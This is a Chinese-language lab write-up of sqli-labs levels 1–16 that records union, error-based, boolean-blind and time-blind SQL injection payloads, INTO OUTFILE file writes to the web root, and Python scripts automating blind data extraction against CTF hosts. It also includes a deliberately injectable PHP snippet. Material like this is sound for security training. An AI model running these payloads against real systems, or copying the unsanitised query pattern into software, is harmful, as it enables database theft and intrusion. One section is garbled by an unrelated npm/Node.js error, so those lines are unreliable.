MySQL数据结构

对于mysql数据库5.0以上版本的自带的数据库information_schema

下面有两个表:tablescolumns

tables

  • table_name字段下:所有数据库存在的表名
  • table_schema字段下:所有表名对应的数据库名

columns

  • column_name字段下是所有数据库存在的字段名
  • columns_schema字段下是所有表名对应的数据库

GET

Error based

Less-1 single quote

  1. 判断是否存在注入

    1
    Less-1/?id=1' -- a

    image-20240709201624531

    1
    Less-1/?id=1' and 1=2 -- a

    image-20240709201712920

    通过页面回显可判断:字符型注入。

  2. 联合注入 判断字段长度

    1
    Less-1/?id=1' order by 3 -- a

    试到order by 4时出现报错,即共有3列。

    image-20240709224540888

    补充内容:SQL Union

    SQL Union用于将多个select结果集进行合并。值得注意的是,UNION 内部的 SELECT 语句必须拥有相同数量的列。列也必须拥有相似的数据类型。同时,每条 SELECT 语句中的列的顺序必须相同。

    例:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    表A						表B
    +----+---------+ +----+---------+
    | id | content | | id | content |
    +----+---------+ +----+---------+
    | 1 | A | | 1 | B |
    +----+---------+ +----+---------+
    | 2 | B | | 2 | C |
    +----+---------+ +----+---------+
    | 2 | C |
    +----+---------+
    1
    SELECT * FROM A UNION SELECT * from B;
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    +----+---------+
    | id | content |
    +----+---------+
    | 1 | A |
    +----+---------+
    | 2 | B |
    +----+---------+
    | 2 | C |
    +----+---------+
    | 1 | B |
    +----+---------+
    //(2,C)内容重复,只显示一条。
  3. 判断显错位

    1
    Less-1/?id=-1' union select 1,2,3 -- a

    image-20240711162203648

    可以看到name在第2列,password在第3列,可以从第2列或者第3列查询出数据库名称

  4. 判断库名:

    1
    Less-1/?id=-1' union select 1 , database(),3 -- a

    或联合注入爆出全部库名(推荐)

    1
    Less-1/?id=1' and 1=2 union select 1,2,group_concat(schema_name) from information_schema.schemata--+

    image-20240712162312551

    爆出库名:ctftraining,information_schema,mysql,performance_schema,security,test

  5. 判断表名:table_name

    1
    Less-1/?id=-1' union select 1,table_name,3 from information_schema.tables where table_schema='security' -- a 

    或直接查询出该数据库中所有的表(推荐):

    1
    Less-1/?id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema= 'ctftraining'),3--+

    group_concat():将查询到的结果连接起来。

    image-20240712162138915

    爆出ctftraining库中的表名:flag,news,users

  6. 判断列名:column_name

    查询出该数据库中所有的列

    1
    Less-1/?id=1' and 1=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='flag'--+

    注:table_name字段不只存在于tables表,也存在columns表中,表示所有字段对应的表名

    image-20240712162757783

    爆出表flag中的列名:flag

  7. 判断数据:

    1
    Less-1/?id=1' and 1=2 union select 1,2,group_concat(flag) from ctftraining.flag--+

image-20240712163019645

爆出数据,拿到flag。

数字型注入

1
2
3
4
5
6
7
8
9
<?php
$conn = mysqli_connect( ' 127.0.0.1' , ' root ' , ' root ' , 'test ');
$res = mysqli_query( $conn, "select username from users where id=".$_GET[ 'id' ]);
//代码用于根据用户输入的id查询用户的信息。用户的输入id字段没有任何过滤地被直接拼接在了sql查询语句中。由于id没有被引号包裹,而且类型为数字,我们称这种注入为数字型注入。
$conn = mysqli_connect( ' 127.0.0.1' , ' root ' , ' root ' , 'test ');
$res = mysqli_query( $conn, "select username from users where id=".$_GET[ 'id' ]);$row= mysqli_fetch_array($res );
var_dump( $row[ ' username ' ] );
$row= mysqli_fetch_array($res );
var_dump( $row[ ' username ' ] );

测试注入存在:使用减法语句测试,如传参id=1id=2-1id=3-1的结果差异

union注入

将两个select语句结果合并到一个结果集中,要求两个select语句拥有相同列数

1
Less-1/?id=-1 union select password from users

由于没有id为0的列,所以第一个select的结果为空,第二个select语句查询了users表中的password列,所以最后的查询结果就是users表中password列的第一行。如果需要查询其他行,还需要使用limit关键字进行选择。

Less-2 Intiger Based

判断注入、字段长度、显错位
1
2
3
4
5
?id=1  正常
?id=1" 报错 ' " LIMIT 0,1 '
?id=1--+ 正常 //数字型

Less-2/?id=1 order by 3//回显位三个
联合注入爆出库名:
1
Less-2/?id=1 and 1=2 union select 1,2,group_concat(schema_name) from information_schema.schemata--+

image-20240712163322852

爆出库名:ctftraining,information_schema,mysql,performance_schema,security,test

联合注入爆出表名:
1
Less-2/?id=1 and 1=2 union select 1,2,group_concat(table_name)from information_schema.tables where table_schema='ctftraining'--+

image-20240712163513605

爆出ctftraining库中的表名:flag,news,users

联合注入爆出列名:
1
Less-2/?id=1 and 1=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='flag'--+

image-20240712163731930

爆出表flag中的列有:flag

爆出数据
1
Less-2/?id=1 and 1=2 union select 1,2,group_concat(flag) from ctftraining.flag--+

image-20240712164113125

爆出数据,拿到flag。

Less-3 Single quotes with twist

1
2
3
4
5
?id=1  正常
?id=1" 正常
?id=2" 正常
?id=1"--+ 正常
?id=9') //报错,如图

image-20240710103912633

可以判断是字符型注入,闭合方式是')

1
Less-3/?id=1') and 1=1 --+

image-20240712155019837

其余与less-2相同。

1
2
Less-3/?id=1')--+
Less-3/?id=1') order by 3 --+

回显位有三个。

1
Less-3/?id=1') and 1=2 union select 1,2,group_concat(schema_name) from information_schema.schemata--+

联合注入爆出库:ctftraining,information_schema,mysql,performance_schema,security,test

1
Less-3/?id=1') and 1=2 union select 1,2,group_concat(table_name)from information_schema.tables where table_schema='ctftraining'--+

联合注入爆出表:flag,news,users

1
Less-3/?id=1') and 1=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='flag'--+

联合注入爆出列:flag

1
Less-3/?id=1') and 1=2 union select 1,2,group_concat(flag) from ctftraining.flag--+

联合注入爆出flag数据:flag{298646fa-c35b-4787-bd9b-40946f3fbddf}

Less-4 Double quotes

1
2
3
4
?id=1		正常
?id=2-1 回显和id=2一样,不是数字型
?id=1' 正常
?id=1" 报错'"1"") LIMIT 0,1'

判断是字符型注入,闭合方式是")

闭合:

1
Less-4/?id=1") and 1=1 --+

其余与less-2相同。

1
2
Less-4/?id=1")--+
Less-4/?id=1") order by 3 --+

回显位有三个。

1
Less-4/?id=1") and 1=2 union select 1,2,group_concat(schema_name) from information_schema.schemata--+

联合注入爆出库:ctftraining,information_schema,mysql,performance_schema,security,test

1
Less-4/?id=1") and 1=2 union select 1,2,group_concat(table_name)from information_schema.tables where table_schema='ctftraining'--+

联合注入爆出表:flag,news,users

1
Less-4/?id=1") and 1=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='flag'--+

联合注入爆出列:flag

1
Less-4/?id=1") and 1=2 union select 1,2,group_concat(flag) from ctftraining.flag--+

联合注入爆出flag数据:flag{298646fa-c35b-4787-bd9b-40946f3fbddf}

Double Injection

Less-5 single quotes

报错注入

  • extractvalue:
    extractvalue函数用于从XML文档中提取特定的值。它接受两个参数,第一个参数是要提取值的XML文档,第二个参数是XPath表达式,用于指定要提取的值的位置。该函数将返回符合XPath表达式的节点的值。
  • updatexml
    updatexml函数用于更新XML文档中特定节点的值。它接受三个参数,第一个参数是要更新的XML文档,第二个参数是XPath表达式,用于指定要更新的节点的位置,第三个参数是新的节点值。该函数将返回更新后的XML文档。
  • floor
    floor函数用于向下取整,将一个数值向下取整为最接近的整数。它接受一个参数,即要进行取整操作的数值,返回最接近的小于或等于该数值的整数。例如,floor(3.8)将返回3,floor(4.2)将返回4。

测出闭合和字段数

1
2
3
?id=1		回显You are in...........
?id=2-1 回显You are in...........
?id=1' 回显' '1'' LIMIT 0,1 '

判断是字符型,'闭合。

1
Less-5/?id=1'  order by 3 --+

image-20240711163239557

回显位有三个。

尝试union select判断回显,无效;查询的字段多于3个后,页面报错。

image-20240711163308549

image-20240711163323872

尝试报错注入爆出数据库名。

1
Less-5/?id=1' and extractvalue(1,concat(0x7e,(select database()),0x7e))--+ 

1
Less-5/?id=1' and updatexml(1,concat(0x7e,(select group_concat(schema_name) from information_schema.schemata),0x7e),3)--+		//推荐

image-20240712173535319

由于字符显示数量限制,只返回了两个完整的数据库名称:ctftraining,information_schema

爆数据库表名:

1
Less-5/?id=1' union select updatexml(1,concat(0x7e, (select(group_concat(table_name))from information_schema.tables where table_schema="ctftraining") ,0x7e),3)--+

image-20240712173839011

爆出表:flag,news,users

利用数据库名+inforamtion_schema数据库进行后续注入。

爆字段名:

1
Less-5/?id=1' union select updatexml(1,concat(0x7e, (select(group_concat(column_name))from information_schema.columns where table_name="flag") ,0x7e),3)--+

image-20240712174059449

flag

爆出数据:

1
Less-5/?id=1' union select updatexml(1,concat(0x7e, left((select(group_concat(flag)) from ctftraining.flag) ,25),0x7e),3)--+

image-20240712174246985

1
Less-5/?id=1' union select updatexml(1,concat(0x7e, right((select(group_concat(flag)) from ctftraining.flag) ,25),0x7e),3)--+

image-20240712174333303

拼接,得出最终的flag数据:flag{5026a12e-9edf-481e-b

注1:绕过字符串返回长度限制情况

序号 函数 实例 截取内容 返回结果
1 left(201809,4) SELECT LEFT(201809,4) 左边的4个字符 2018
2 right(name,2) SELECT RIGHT(201809,2) 右边的2个字符 09
3 SUBSTRING(name,5,3) SELECT SUBSTRING(‘福州大学计数学院’,5,3) name字段 从第五个字符开始截取之后的3个字符 数学院
4 SUBSTRING(name,3) SELECT SUBSTRING(‘福州大学计数学院’,3) name字段 从第三个字符开始之后的所有字符 大学计数学院
5 SUBSTRING(name, -4) SELECT SUBSTRING(‘福州大学计数学院’,-4) name字段的第 4 个字符位置(倒数)开始取直到结束 计数学院
6 SUBSTRING(name, -4,2) SELECT SUBSTRING(‘福州大学计数学院’,-4,2) name这个字段的第 4 个字符位置(倒数)开始截取之后的2个字符 计数
7 substring_index(‘www.baidu.com‘, ‘.’, 2) SELECT substring_index(‘www.baidu.com‘, ‘.’, 2) 第二个 ‘.’ 之前的所有字符 www.baidu
8 substring_index(‘www.baidu.com‘, ‘.’, -2) SELECT substring_index(‘www.baidu.com‘, ‘.’, -2) 第二个 ‘.’ (倒数)之后的所有字符 baidu.com
9 SUBSTR(name, 1, CHAR_LENGTH(name)-3) SELECT SUBSTR(‘福州大学计数学院’, 1, CHAR_LENGTH(‘福州大学计数学院’)-3) name字段 除name字段后三位的所有字符 福州大学计
10 mid(str,start,[length]) str:截取的字符串
start:起始位置
length:截取的长度,可以忽略

​ 我们注意到在函数 substring(str,pos, len)中, pos 可以是负值,但 len 不能取负值。

注2:使用updatexml来查询表中数据时可能会出现查询数据不完整的问题。

解决方案:

  • 使用limit限制查询个数,一个一个查询
  • 使用group_concat时使用substr进行字符串截取 其中”1,32”控制截取的起始与结束位置

image-20240712172139323

payload:

1
2
and  updatexml(1,(select concat(username,0x7e,password) from users limit 0,1),1) --+
and updatexml(1,(select substr((group_concat(username,0x7e,password)),1,32) from users),1) --+

image-20240711163704387

Less-6 Double quotes

与Less-5只是闭合的方式不同,需要闭合"。直接参考Less-5的payload。

image-20240712210240457

image-20240712210756082

flag{5eda00d5-53df-4655-9c24-18747e835c94}

Dump into outfile

Less-7

1
2
3
4
5
6
7
?id=1                  You are in.... Use outfile......提示用文件
?id=1''''' 回显You have an error in your SQL syntax,不告诉我们哪里错了,看不见闭合
?id=1'--+ 回显You have an error in your SQL syntax
...
...
...
?id=1'))--+ You are in.... Use outfile......

则试出字符型注入,闭合是'))

1
Less-7/?id=1')) --+

尝试使用updatexml()报错注入函数尝试注入

1
Less-7/?id=1'))  and updatexml(1,concat(0x7e,databse(),0x7e),3)--+

注入失败,出现语法报错。

image-20240712155710129

传参id=1时出现提示:使用输入/输出文件。

image-20240711164019702

写马

通过mysql的file系列函数来进行读取敏感文件或者写入webshell,其中比较常用的函数有:

into dumpfile()
into outfile()
load_file()

用法:

1
select 'mysql is very good' into outfile 'test1.txt';

成功实现的条件:

  1. 权限为root
  2. 知道网站的物理路径
  3. secure_file_priv=空

show variables like ‘%secure%’;

1
npm install show	

编辑进环境变量PATH,尝试在mysql控制台通过命令 show variables like '%secure%'; 查看 secure-file-priv 当前的值。

出现报错:

1
2
3
4
5
6
7
8
9
fs.js:43
} = primordials;
^

ReferenceError: primordials is not defined
at fs.js:43:5
at req_
...
Node.js v20.10.0

出现报错的原因是

​ 如果显示为NULL,则需要将其设置为物理服务器地址路径/路径设置为空,才可以导出文件到指定位置。在my.ini文件里修改此项,改为secure-file-priv=' ',表示不限制mysql在任意目录的导入导出。

在Less-7中我们可以这样尝试将一个txt文件来写入到服务的目录中:

1
Less-7/?id=1')) union select 1,2,group_concat(schema_name) from information_schema.schemata into outfile "/var/www/html/1.txt"--+

爆库: ctftraining

1
Less-7/?id=1')) union select 1,2,group_concat(table_name)from information_schema.tables where table_schema='ctftraining' into outfile "/var/www/html/2.txt"--+ 

爆表:flag

1
Less-7/?id=1')) union select 1,2,group_concat(column_name) from information_schema.columns where table_name='flagdk' into outfile "/var/www/html/3.txt"--+ 

爆列: flag

1
Less-7/?id=1')) union select 1,2,group_concat(flag43) from ctfshow.flagdk into outfile "/var/www/html/4.txt"--+ 

获取字段值(flag):

Blind

Less-8 Boolian Based

1
2
3
4
5
6
7
?id=1                  You are in.... 
?id=1''''' 无回显,看不见报错
?id=1'--+ 无回显,看不见报错
...
...
...
?id=1"--+ You are in....

尝试可知是字符型注入,闭合是",但是页面不显示报错。

1
Less-8/?id=1'))

布尔盲注

当服务器不显示查询结果,只返回是否查询成功时,我们就无法使用union直接回显数据,需要进行盲注。可以通过布尔盲注来不断尝试猜测出数据。

手工注入
1
2
3
4
5
Less-8/?id=1' and (select length(database())>1) and 1=1  --+ //true
Less-8/?id=1' and (select length(database())>10) and 1=1 --+ //false
Less-8/?id=1' and (select length(database())>5) and 1=1 --+ //true
Less-8/?id=1' and (select length(database())>6) and 1=1 --+ //true
Less-8/?id=1' and (select length(database())>8) and 1=1 --+ //false

通过页面的不同响应页面来判断数据库的长度是否是我们所指定的范围,最终可以得到数据库的名称的长度为7。

得到了数据库的长度后,我们就可以再利用ascii函数+substr函数来修改字符串的范围,最终判断数据库的各个字符的ascii的值,最终就可以得到完整的数据库名称。

1
2
3
4
5
Less-8/?id=1' and ((select ascii(substr(database(),1,1)))>100) and 1=1 --+ //true
Less-8/?id=1' and ((select ascii(substr(database(),1,1)))>200) and 1=1 --+ //false
...
Less-8/?id=1' and ((select ascii(substr(database(),1,1)))>114) and 1=1 --+ //true
Less-8/?id=1' and ((select ascii(substr(database(),1,1)))>116) and 1=1 --+ //false

根据不断的变换范围,最后得到了第一个字母的ascii码大于113但是不大于115,因此,它的ascii码就是114,对照ASCII码表,得到第一个字母为‘s’。

同样的方法,我们可以变化substr()里面的第二个参数分别为2,3,4,5,6,7,最后可以获得接下来的其他七个字母,最终得到数据库名称“security”。

通过这个方法,我们可以首先通过information_schema库中的tables表查看我们注入出的数据库下的所有的表的数量,按照limit的方法选取某个表,通过length得到它的名字的长度,就可以得到它的完整表名。同理,通过columns表获得某个表下的所有字段数量,并且获得每个字段的名称长度和具体名称,查出指定表下的记录数量,根据字段去获取某条记录的某个字段值的长度,就能获得该值的内容。

python脚本
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
import requests
import time

url = "http://43d7c6c4-a8ab-41f3-8e14-fc32c023ca20.challenge.ctf.show/"
payload = {
"uname" : "",
"passwd" : "123456",
"submit" : "Submit"
}
result = ""
for i in range(1,100):
l = 33
r =130
mid = (l+r)>>1
while(l<r):
# 跑库名
#"-1\" or 0^" + "(ascii(substr((SeleCt/**/grOUp_conCAt(schema_name)/**/fROm/**/information_schema.schemata),{0},1))>{1})-- ".format(i, mid)

# 跑表名
#"-1\" or 0^" + "(ascii(substr((SeleCt/**/grOUp_conCAt(table_name)/**/fROm/**/information_schema.tables/**/wHERe/**/table_schema/**/like/**/'ctfshow'),{0},1))>{1})-- ".format(i, mid)

# 跑列名
#"-1\" or 0^" + "(ascii(substr((Select/**/groUp_coNcat(column_name)frOm/**/information_schema.columns/**/Where/**/table_name/**/like/**/'flagb'),{0},1))>{1})-- ".format(i,mid)

#######################
#"-1\" or 0^" + "(ascii(substr((select(flag4s)from(ctfshow.flagb)),{0},1))>{1})-- ".format(i, mid)

payload["uname"] ="-1\" or 0^" + "(ascii(substr((select(flag4s)from(ctfshow.flagb)),{0},1))>{1})-- ".format(i, mid)

html = requests.post(url,data=payload)
print(payload)
if "/images/flag.jpg" in html.text:
l = mid+1
else:
r = mid
mid = (l+r)>>1
if(chr(mid)==" "):
break
result = result + chr(mid)
print(result)
print("flag: " ,result)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import requests  # 导入 requests 模块用于发送 HTTP 请求

url = "xxx/Less-5/?id=1' and "

# 布尔盲注函数
def sqlbool(url):
result = ""
for i in range(1, 100): # 对于表名中的每个字符进行迭代
min_value = 33
max_value = 130
mid = (min_value + max_value) // 2 # 中值
while (min_value < max_value):
# 构造 SQL 查询
newurl = url + f"ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{i},1))>{mid}--+"
r = requests.get(newurl) # 发送请求
if "You are in........." in r.text:
min_value = mid + 1 # 更新搜索范围
else:
max_value = mid
mid = (min_value + max_value) // 2 # 更新中值
if (chr(mid) == " "): # 如果中值是空格,表示表名结束
break
result += chr(mid) # 将字符添加到结果中
print(result)

sqlbool(url) # 调用

Less-9 Time Based-single quotes

在Less-9可以看到,无论尝试闭合或查询,服务器都会返回success,我们无法直接从服务器注入出任何信息。

通过前文可知,有回显的情况可以用union关键字直接带出数据;服务器只能给出“是”或“否的情况下,可以使用布尔盲注获得数据。

如果服务器完全没有输出该如何进行注入呢?

时间盲注

基于时间的注入(延时注入)(Time-based blind SQl injection)

  • 利用前提:页面没有显示位,也没有输入SQL语句执行错误信息,正确的SQL语句和错误的返回页面都一样,但是加入sleep(5)条件后,正确的SQL语句页面返回速度明显慢了5秒,错误的SQL语句立即返回。

  • 优点:不需要显示位,不需要报错信息。

  • 缺点:速度慢,耗费大量时间

  • 用法:IF(Condition,A,B)函数,当Condition为TRUE时,返回A;否则返回B。

  • 示例:

    1
    SELECT * FROM users WHERE id=1 AND IF(ASCII(SUBSTR(USER(),1,1))>65 ,SLEEP(5),1);  

我们可以利用mysql内置的延时函数sleep人为地制造出差异。

手工注入

根据输入来延时请求数据,观察请求时间是否存在延长,如果存在就是存在时间盲注,这里会使用if和sleep函数来进行判断。

if的语法三元运算符函数

1
语法:IF(CONDITION, value_if_true, value_if_false)

CONDITION是一个条件表达式,如果条件成立,则返回value_if_true,否则返回value_if_false。利用这一点来进行时间盲注。

1
2
3
4
Less-9/?id=1' and if(length(database())=1,sleep(5),1)--+ //延时
Less-9/?id=1' and if(length(database())=10,sleep(5),1)--+ //正常
Less-9/?id=1' and if(length(database())=7,sleep(5),1)--+ //延时
Less-9/?id=1' and if(length(database())=8,sleep(5),1)--+ //正常
python脚本
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
import requests
import time

s = requests.session() #创建session对象后,才可以调用对应的方法发送请求。
url = 'http://fff9f4b8-f0ad-4c2a-b499-2ee73acc6720.challenge.ctf.show/?id='
flag = ''
i = 0
while True:
i = i + 1
low = 32
high = 127
while low < high:
mid = (low + high) // 2
# 查询数据库:payload = f'1\'%0cand%0cif((ascii(substr(database(),{i},1))>{mid}),1,sleep(3))--+'
# 查询数据库:payload = f'1\'%0cand%0cif((ascii(substr((select group_concat(schema_name)from information_schema.schemata),{i},1))>{mid}),1,sleep(3))--+'

# 查询数据表:payload = f'1\'%0cand%0cif(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=\'ctfshow\')),{i},1))>{mid},1,sleep(3))--+'
# 查询表字段:payload = f'1\'%0cand%0cif(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name="flagug")),{i},1))>{mid},1,sleep(3))--+'
# 查询字段中信息:payload = f'1\'%0cand%0cif(ascii(substr((select(flag4a23)from(ctfshow.flagug)),{i},1))>{mid},1,sleep(3))--+'
payload = f'1\'%0cand%0cif(ascii(substr((select(flag4a23)from(ctfshow.flagug)),{i},1))>{mid},1,sleep(3))--+'

stime = time.time()
url1 = url + payload
r = s.get(url=url1)
r.encoding = "utf-8"
# print(payload)
if time.time() - stime < 2:
low = mid + 1
else:
high = mid
if low != 32:
flag += chr(low)
else:
break
print(flag)

与布尔盲注脚本合并,如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
import time  # 导入时间模块
import requests # 导入 requests 模块用于发送 HTTP 请求

url = "xxx/Less-5/?id=1' and "

# 布尔盲注函数
def sqlbool(url):
result = ""
for i in range(1, 100): # 对于表名中的每个字符进行迭代
min_value = 33
max_value = 130
mid = (min_value + max_value) // 2 # 中值
while (min_value < max_value):
# 构造 SQL 查询
newurl = url + f"ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{i},1))>{mid}--+"
r = requests.get(newurl) # 发送请求
if "You are in........." in r.text:
min_value = mid + 1 # 更新搜索范围
else:
max_value = mid
mid = (min_value + max_value) // 2 # 更新中值
if (chr(mid) == " "): # 如果中值是空格,表示表名结束
break
result += chr(mid) # 将字符添加到结果中
print(result)

# 时间盲注函数
def sqlsleep(url):
result = ""
for i in range(1, 100):
min_value = 33
max_value = 130
mid = (min_value + max_value) // 2 # 中值
while (min_value < max_value):
start = time.time() # 记录开始时间
newurl = url + f"if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{i},1))>{mid},sleep(3),1)--+"
r = requests.get(newurl)
print(newurl)
end = time.time() # 记录结束时间
if end - start > 3:
min_value = mid + 1
else:
max_value = mid
mid = (min_value + max_value) // 2
if (chr(mid) == " "):
break
result += chr(mid)
print(result)

sqlbool(url) # 调用
sqlsleep(url) # 调用
使用sqlmap

直接将url输入到sqlmap中。

1
sqlmap.py -u sqlmap -u  http://127.0.0.1/sqli-labs/Less-8/?id=1

Less-10 Time Based-double quotes

闭合方式为",其余与Less-9相同。

POST

Error Based

Less-11 single quotes

数据的提交方式从GET变成了POST,但是既然是SQL注入,那么在username/password中一定存在可以注入的点。尝试闭合一下看是否会报错:

1
username:1'

image-20240711212402864

可以看到页面报错,说明存在SQL注入。

POST方式提交不能直接修改,有三种方式

1、使用可以POST提交的插件,例如Firefox中的HackBar

2、使用Burpsuite抓包后修改

3、直接在输入框中注入

源码:

1
SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1

bp抓包进入repeater,在request模块中可以看出我们输入的用户名和密码分别属于第一列和第2列。

闭合是单引号'。位数是2.

爆库: ctftraining

1
uname=xxx' and 1=2 union select 1,group_concat(schema_name) from information_schema.schemata--+&passwd=123456&submit=Submit

image-20240712223210351

爆表:flag

1
uname=xxx' and 1=2 union select 1,group_concat(table_name)from information_schema.tables where table_schema='ctftraining'--+&passwd=123456&submit=Submit

image-20240712223348868

爆列:flag

1
uname=xxx' and 1=2 union select 1,group_concat(column_name) from information_schema.columns where table_name='flag'--+&passwd=123456&submit=Submit

image-20240712223457352

获取字段值(flag):

1
uname=xxx' and 1=2 union select 1,group_concat(flag) from ctftraining.flag--+&passwd=123456&submit=Submit

image-20240712223723393

flag{db3db0cf-f2d7-4506-8658-88062c6e44cd}

Less-12 double quotes with twist

闭合的方式变成了"),其余不变。

Less-13 Double Injection-single quotes

闭合方式')。但是使用12关的payload来尝试注入时,页面只会回复一个登录成功,并没有得到想要的数据。

使用报错注入有效爆出表名、列名、数据:

payload

1
123') union select updatexml(1,concat(0x7e,(select database()),0x7e),1) #

爆库: ctftraining

1
uname=-1') union select 1,(extractvalue(1,concat(0x7e,(select group_concat(schema_name) from information_schema.schemata))))--+&passwd=123456&submit=Submit

image-20240712224423481

爆表:flag

1
uname=-1') union select 1,(extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='ctftraining'))))--+&passwd=123456&submit=Submit

image-20240712224504340

爆列:flag

1
uname=-1') union select 1,(extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='ctftraining' and table_name='flag'))))--+&passwd=123456&submit=Submit

image-20240712224548415

获取字段(flag):

1
uname=-1') union select 1,(extractvalue(1,concat(0x7e,(select group_concat(flag) from ctftraining.flag)))) --+&passwd=123456&submit=Submit
1
2
uname=-1') union select 1,(extractvalue(1,concat(0x7e,(select reverse(group_concat(flag)) from ctftraining.flag)))) --+&passwd=123456&submit=Submit
//倒读

image-20240712224626560

image-20240712224746999

flag{db3db0cf-f2d7-4506-8658-88062c6e44cd}

Less-14 Double Injection-double quotes

闭合的方式变成了",其余不变。

Less-15

输入正确的用户名和密码:

image-20240712160203641

输入错误的用户名和密码:

image-20240712160254622

页面只返回是否查询成功时,我们可以进行盲注。

布尔盲注

sqli

Less-16

闭合改为"),其余不变。